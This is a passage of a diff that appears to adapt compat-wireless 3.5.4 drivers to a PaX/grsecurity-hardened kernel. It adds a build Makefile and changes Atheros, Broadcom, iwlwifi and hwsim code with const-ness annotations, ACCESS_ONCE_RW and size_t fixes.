drivers/misc/eeprom/ ++ ++ifeq ($(CONFIG_STAGING_EXCLUDE_BUILD),) ++endif ++ ++endif ++ ++obj-$(CONFIG_COMPAT_BLUETOOTH) += net/bluetooth/ ++obj-$(CONFIG_COMPAT_BLUETOOTH_MODULES) += drivers/bluetooth/ ++ ++else ++ ++export PWD := $(shell pwd) ++ ++# The build will fail if there is any space in PWD. ++ifneq (,$(findstring $() ,$(PWD))) ++$(error "The path to this compat-wireless directory has spaces in it." \ ++ "Please put it somewhere where there is no space") ++endif ++ ++export CFLAGS += \ ++ -DCOMPAT_BASE="\"$(shell cat $(PWD)/.compat_base)\"" \ ++ -DCOMPAT_BASE_TREE="\"$(shell cat $(PWD)/.compat_base_tree)\"" \ ++ -DCOMPAT_BASE_TREE_VERSION="\"$(shell cat $(PWD)/.compat_base_tree_version)\"" \ ++ -DCOMPAT_PROJECT="\"Compat-wireless\"" \ ++ -DCOMPAT_VERSION="\"$(shell cat $(PWD)/.compat_version)\"" ++ ++# These exported as they are used by the scripts ++# to check config and compat autoconf ++export COMPAT_CONFIG_CW=$(PWD)/config.mk ++export COMPAT_CONFIG=$(PWD)/.config ++export CONFIG_CHECK=$(PWD)/.config.mk_md5sum.txt ++export COMPAT_AUTOCONF=include/linux/compat_autoconf.h ++export CREL=$(shell cat $(PWD)/.compat_version) ++export CREL_PRE:=.compat_autoconf_ ++export CREL_CHECK:=$(PWD)/$(CREL_PRE)$(CREL) ++ ++all: modules ++ ++$(COMPAT_CONFIG): ; ++ ++modules: $(CREL_CHECK) ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) modules ++ @touch $@ ++ ++bt: $(CREL_CHECK) ++ +@./scripts/check_config.sh ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) BT=TRUE modules ++ @touch $@ ++ ++# We use a CREL_CHECK variable which will depend on the environment used to ++# build. If the environment requirements change it forces a reconfiguration ++# check. This means we force a new reconfiguration check if a the user gets a ++# new updates of compat-wireless or when the user updates the $(COMPAT_CONFIG) ++# file. ++# XXX: add kernel target to the CREL_CHECK mix, this would ensure we also ++# reconfigure and build again fresh if we detect a new target kernel is ++# being used. ++$(CREL_CHECK): ++ @# Force to regenerate compat autoconf ++ +@./compat/scripts/gen-compat-config.sh > $(COMPAT_CONFIG) ++ @rm -f $(CONFIG_CHECK) ++ +@./scripts/check_config.sh ++ @md5sum $(COMPAT_CONFIG_CW) > $(CONFIG_CHECK) ++ @touch $@ ++ ++btinstall: btuninstall bt-install-modules ++ ++bt-install-modules: bt ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) BT=TRUE \ ++ modules_install ++ @/sbin/depmod -ae ++ @echo ++ @echo Now run: ++ @echo ++ @echo sudo make btunload: ++ @echo ++ @echo And then load the needed bluetooth modules. If unsure reboot. ++ @echo ++ ++btuninstall: ++ @# New location, matches upstream ++ @rm -rf $(KLIB)/$(KMODDIR)/net/bluetooth/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/bluetooth/ ++ @# Lets only remove the stuff we are sure we are providing ++ @# on the misc directory. ++ @/sbin/depmod -ae ++ @echo ++ ++btclean: ++ $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean ++ @rm -f $(CREL_PRE)* ++ ++install: uninstall install-modules install-scripts ++ ++install-modules: modules ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \ ++ modules_install ++ @./scripts/update-initramfs ++ ++install-scripts: ++ @# All the scripts we can use ++ @mkdir -p $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/modlib.sh $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/madwifi-unload $(DESTDIR)/usr/sbin/ ++ @# This is to allow switching between drivers without blacklisting ++ @install scripts/athenable $(DESTDIR)/usr/sbin/ ++ @install scripts/b43enable $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-enable $(DESTDIR)/usr/sbin/ ++ @install scripts/athload $(DESTDIR)/usr/sbin/ ++ @install scripts/b43load $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-load $(DESTDIR)/usr/sbin/ ++ @if [ $(shell modinfo ath_pci > /dev/null 2>&1 && echo 1) ]; then \ ++ echo -n "Note: madwifi detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo athenable madwifi" ;\ ++ echo ;\ ++ echo Running athenable ath5k...;\ ++ $(DESTDIR)/usr/sbin/athenable ath5k ;\ ++ fi ++ @if [ $(shell modinfo iwl4965 > /dev/null 2>&1 && echo 1) ]; then \ ++ echo ;\ ++ echo -n "Note: iwl4965 detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo iwl-load iwl4965" ;\ ++ echo ;\ ++ echo Running iwl-enable iwlagn...;\ ++ $(DESTDIR)/usr/sbin/iwl-enable iwlagn ;\ ++ fi ++ @if [ $(shell modinfo iwlagn > /dev/null 2>&1 && echo 1) ] \ ++ && [ $(shell modinfo iwlwifi > /dev/null 2>&1 && echo 1) ]; then \ ++ echo ;\ ++ echo -n "Note: iwlagn detected, we're going to disable it. " ;\ ++ echo "If you would like to enable it later you can run:" ;\ ++ echo " sudo iwl-load iwlagn" ;\ ++ echo ;\ ++ echo Running iwl-enable iwlwifi...;\ ++ $(DESTDIR)/usr/sbin/iwl-enable iwlwifi ;\ ++ fi ++ @# If on distributions like Mandriva which like to ++ @# compress their modules this will find out and do ++ @# it for you. Reason is some old version of modutils ++ @# won't know mac80211.ko should be used instead of ++ @# mac80211.ko.gz ++ @./scripts/compress_modules ++ @# Mandrake doesn't have a depmod.d/ conf file to prefer ++ @# the updates/ dir which is what we use so we add one for it ++ @# (or any other distribution that doens't have this). ++ @./scripts/check_depmod ++ @# Udev stuff needed for the new compat_firmware_class. ++ @./compat/scripts/compat_firmware_install ++ @/sbin/depmod -a ++ @echo ++ @echo Now run: ++ @echo ++ @echo sudo make unload to unload all: wireless, bluetooth and ethernet modules ++ @echo sudo make wlunload to unload wireless modules ++ @echo sudo make btunload to unload bluetooth modules ++ @echo ++ @echo Run sudo modprobe 'driver-name' to load your desired driver. ++ @echo If unsure reboot. ++ @echo ++ ++uninstall: ++ @# New location, matches upstream ++ @rm -rf $(KLIB)/$(KMODDIR)/compat/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/mac80211/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/rfkill/ ++ @rm -rf $(KLIB)/$(KMODDIR)/net/wireless/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/ssb/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/usb/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/wireless/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/staging/ ++ @rm -rf $(KLIB)/$(KMODDIR)/drivers/net/atl* ++ @find $(KLIB)/$(KMODDIR)/drivers/net/ -name "alx*.ko" -o -name "atl*.ko" 2>/dev/null |xargs rm -f ++ @# Lets only remove the stuff we are sure we are providing ++ @# on the misc directory. ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom/eeprom_93cx6.ko* ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/misc/eeprom_93cx6.ko* ++ @rm -f $(KLIB)/$(KMODDIR)/drivers/net/b44.ko* ++ @/sbin/depmod -a ++ @./scripts/update-initramfs ++ @echo ++ ++clean: ++ @if [ -d net -a -d $(KLIB_BUILD) ]; then \ ++ $(MAKE) -C $(KLIB_BUILD) M=$(PWD) clean ;\ ++ fi ++ @rm -f $(CREL_PRE)* ++unload: ++ @./scripts/unload.sh ++ ++btunload: ++ @./scripts/btunload.sh ++ ++wlunload: ++ @./scripts/wlunload.sh ++ ++ ++.PHONY: all clean install uninstall unload btunload wlunload modules bt Makefile ++ ++endif ++ ++clean-files += Module.symvers Module.markers modules modules.order ++clean-files += $(CREL_CHECK) $(CONFIG_CHECK) $(COMPAT_CONFIG) +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h 2012-09-22 03:47:20.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/alx/alx_sw.h 2012-10-15 19:11:28.939824302 +0000 +@@ -326,7 +326,7 @@ struct alx_hw_callbacks { + + /* Others */ + int (*get_ethtool_regs)(struct alx_hw *, void *); +-}; ++} __no_const; + + struct alx_hw { + struct alx_adapter *adpt; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/ethernet/atheros/atlx/atl2.c 2012-10-15 19:11:12.831824568 +0000 +@@ -2886,7 +2886,7 @@ static void atl2_force_ps(struct atl2_hw + */ + + #define ATL2_PARAM(X, desc) \ +- static const int __devinitdata X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ ++ static const int __devinitconst X[ATL2_MAX_NIC + 1] = ATL2_PARAM_INIT; \ + MODULE_PARM(X, "1-" __MODULE_STRING(ATL2_MAX_NIC) "i"); \ + MODULE_PARM_DESC(X, desc); + #else +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath.h 2012-10-15 19:11:12.832824568 +0000 +@@ -119,6 +119,7 @@ struct ath_ops { + void (*write_flush) (void *); + u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr); + }; ++typedef struct ath_ops __no_const ath_ops_no_const; + + struct ath_common; + struct ath_bus_ops; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9002_mac.c 2012-10-15 19:11:12.832824568 +0000 +@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + ads->ds_txstatus6 = ads->ds_txstatus7 = 0; + ads->ds_txstatus8 = ads->ds_txstatus9 = 0; + +- ACCESS_ONCE(ads->ds_link) = i->link; +- ACCESS_ONCE(ads->ds_data) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->ds_link) = i->link; ++ ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0]; + + ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore); + ctl6 = SM(i->keytype, AR_EncrType); +@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + + if ((i->is_first || i->is_last) && + i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) { +- ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ds_ctl2) = 0; +- ACCESS_ONCE(ads->ds_ctl3) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl2) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl3) = 0; + } + + if (!i->is_first) { +- ACCESS_ONCE(ads->ds_ctl0) = 0; +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl0) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + return; + } + +@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + break; + } + +- ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi + | (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable : + (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0)); + +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + + if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST) + return; + +- ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-09-22 03:47:20.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/ar9003_mac.c 2012-10-15 19:11:12.833824568 +0000 +@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + (i->qcu << AR_TxQcuNum_S) | desc_len; + + checksum += val; +- ACCESS_ONCE(ads->info) = val; ++ ACCESS_ONCE_RW(ads->info) = val; + + checksum += i->link; +- ACCESS_ONCE(ads->link) = i->link; ++ ACCESS_ONCE_RW(ads->link) = i->link; + + checksum += i->buf_addr[0]; +- ACCESS_ONCE(ads->data0) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0]; + checksum += i->buf_addr[1]; +- ACCESS_ONCE(ads->data1) = i->buf_addr[1]; ++ ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1]; + checksum += i->buf_addr[2]; +- ACCESS_ONCE(ads->data2) = i->buf_addr[2]; ++ ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2]; + checksum += i->buf_addr[3]; +- ACCESS_ONCE(ads->data3) = i->buf_addr[3]; ++ ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3]; + + checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl3) = val; ++ ACCESS_ONCE_RW(ads->ctl3) = val; + checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl5) = val; ++ ACCESS_ONCE_RW(ads->ctl5) = val; + checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl7) = val; ++ ACCESS_ONCE_RW(ads->ctl7) = val; + checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl9) = val; ++ ACCESS_ONCE_RW(ads->ctl9) = val; + + checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff); +- ACCESS_ONCE(ads->ctl10) = checksum; ++ ACCESS_ONCE_RW(ads->ctl10) = checksum; + + if (i->is_first || i->is_last) { +- ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ctl13) = 0; +- ACCESS_ONCE(ads->ctl14) = 0; ++ ACCESS_ONCE_RW(ads->ctl13) = 0; ++ ACCESS_ONCE_RW(ads->ctl14) = 0; + } + + ads->ctl20 = 0; +@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + + ctl17 = SM(i->keytype, AR_EncrType); + if (!i->is_first) { +- ACCESS_ONCE(ads->ctl11) = 0; +- ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore; +- ACCESS_ONCE(ads->ctl15) = 0; +- ACCESS_ONCE(ads->ctl16) = 0; +- ACCESS_ONCE(ads->ctl17) = ctl17; +- ACCESS_ONCE(ads->ctl18) = 0; +- ACCESS_ONCE(ads->ctl19) = 0; ++ ACCESS_ONCE_RW(ads->ctl11) = 0; ++ ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore; ++ ACCESS_ONCE_RW(ads->ctl15) = 0; ++ ACCESS_ONCE_RW(ads->ctl16) = 0; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl18) = 0; ++ ACCESS_ONCE_RW(ads->ctl19) = 0; + return; + } + +- ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi + val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S; + ctl12 |= SM(val, AR_PAPRDChainMask); + +- ACCESS_ONCE(ads->ctl12) = ctl12; +- ACCESS_ONCE(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl12) = ctl12; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; + +- ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) + | SM(i->rtscts_rate, AR_RTSCTSRate); + +- ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding; ++ ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding; + } + + static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads) +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h 2012-09-22 03:47:20.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ath/ath9k/hw.h 2012-10-15 19:11:12.834824568 +0000 +@@ -610,7 +610,7 @@ struct ath_hw_private_ops { + + /* ANI */ + void (*ani_cache_ini_regs)(struct ath_hw *ah); +-}; ++} __no_const; + + /** + * struct ath_hw_ops - callbacks used by hardware code and driver code +@@ -640,7 +640,7 @@ struct ath_hw_ops { + void (*antdiv_comb_conf_set)(struct ath_hw *ah, + struct ath_hw_antcomb_conf *antconf); + +-}; ++} __no_const; + + struct ath_nf_limits { + s16 max; +@@ -660,7 +660,7 @@ enum ath_cal_list { + #define AH_FASTCC 0x4 + + struct ath_hw { +- struct ath_ops reg_ops; ++ ath_ops_no_const reg_ops; + + struct ieee80211_hw *hw; + struct ath_common common; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h 2012-10-15 19:11:12.835824568 +0000 +@@ -545,7 +545,7 @@ struct phy_func_ptr { + void (*carrsuppr)(struct brcms_phy *); + s32 (*rxsigpwr)(struct brcms_phy *, s32); + void (*detach)(struct brcms_phy *); +-}; ++} __no_const; + + struct brcms_phy { + struct brcms_phy_pub pubpi_ro; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlegacy/3945-mac.c 2012-10-15 19:11:12.837824568 +0000 +@@ -3613,7 +3613,9 @@ il3945_pci_probe(struct pci_dev *pdev, c + */ + if (il3945_mod_params.disable_hw_scan) { + D_INFO("Disabling hw_scan\n"); +- il3945_mac_ops.hw_scan = NULL; ++ pax_open_kernel(); ++ *(void **)&il3945_mac_ops.hw_scan = NULL; ++ pax_close_kernel(); + } + + D_INFO("*** LOAD DRIVER ***\n"); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-debugfs.c 2012-10-15 19:11:12.838824568 +0000 +@@ -204,7 +204,7 @@ static ssize_t iwl_dbgfs_sram_write(stru + { + struct iwl_priv *priv = file->private_data; + char buf[64]; +- int buf_size; ++ size_t buf_size; + u32 offset, len; + + memset(buf, 0, sizeof(buf)); +@@ -481,7 +481,7 @@ static ssize_t iwl_dbgfs_rx_handlers_wri + struct iwl_priv *priv = file->private_data; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -562,7 +562,7 @@ static ssize_t iwl_dbgfs_disable_ht40_wr + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int ht40; + + memset(buf, 0, sizeof(buf)); +@@ -614,7 +614,7 @@ static ssize_t iwl_dbgfs_sleep_level_ove + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int value; + + memset(buf, 0, sizeof(buf)); +@@ -1879,7 +1879,7 @@ static ssize_t iwl_dbgfs_clear_ucode_sta + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int clear; + + memset(buf, 0, sizeof(buf)); +@@ -1924,7 +1924,7 @@ static ssize_t iwl_dbgfs_ucode_tracing_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int trace; + + memset(buf, 0, sizeof(buf)); +@@ -1995,7 +1995,7 @@ static ssize_t iwl_dbgfs_missed_beacon_w + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int missed; + + memset(buf, 0, sizeof(buf)); +@@ -2036,7 +2036,7 @@ static ssize_t iwl_dbgfs_plcp_delta_writ + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int plcp; + + memset(buf, 0, sizeof(buf)); +@@ -2096,7 +2096,7 @@ static ssize_t iwl_dbgfs_txfifo_flush_wr + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int flush; + + memset(buf, 0, sizeof(buf)); +@@ -2186,7 +2186,7 @@ static ssize_t iwl_dbgfs_protection_mode + + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int rts; + + if (!priv->cfg->ht_params) +@@ -2228,7 +2228,7 @@ static ssize_t iwl_dbgfs_echo_test_write + { + struct iwl_priv *priv = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +@@ -2264,7 +2264,7 @@ static ssize_t iwl_dbgfs_log_event_write + struct iwl_priv *priv = file->private_data; + u32 event_log_flag; + char buf[8]; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +@@ -2314,7 +2314,7 @@ static ssize_t iwl_dbgfs_calib_disabled_ + struct iwl_priv *priv = file->private_data; + char buf[8]; + u32 calib_disabled; +- int buf_size; ++ size_t buf_size; + + memset(buf, 0, sizeof(buf)); + buf_size = min(count, sizeof(buf) - 1); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c 2012-09-22 03:47:20.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/iwlwifi/iwl-trans-pcie.c 2012-10-15 19:11:12.839824568 +0000 +@@ -1949,7 +1949,7 @@ static ssize_t iwl_dbgfs_interrupt_write + struct isr_statistics *isr_stats = &trans_pcie->isr_stats; + + char buf[8]; +- int buf_size; ++ size_t buf_size; + u32 reset_flag; + + memset(buf, 0, sizeof(buf)); +@@ -1970,7 +1970,7 @@ static ssize_t iwl_dbgfs_csr_write(struc + { + struct iwl_trans *trans = file->private_data; + char buf[8]; +- int buf_size; ++ size_t buf_size; + int csr; + + memset(buf, 0, sizeof(buf)); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mac80211_hwsim.c 2012-10-15 19:11:12.840824568 +0000 +@@ -1752,9 +1752,11 @@ static int __init init_mac80211_hwsim(vo + return -EINVAL; + + if (fake_hw_scan) { +- mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; +- mac80211_hwsim_ops.sw_scan_start = NULL; +- mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_open_kernel(); ++ *(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; ++ *(void **)&mac80211_hwsim_ops.sw_scan_start = NULL; ++ *(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_close_kernel(); + } + + spin_lock_init(&hwsim_radio_lock); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/mwifiex/main.h 2012-10-15 19:11:12.841824568 +0000 +@@ -567,7 +567,7 @@ struct mwifiex_if_ops { + int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*dnld_fw) (struct mwifiex_adapter *, struct 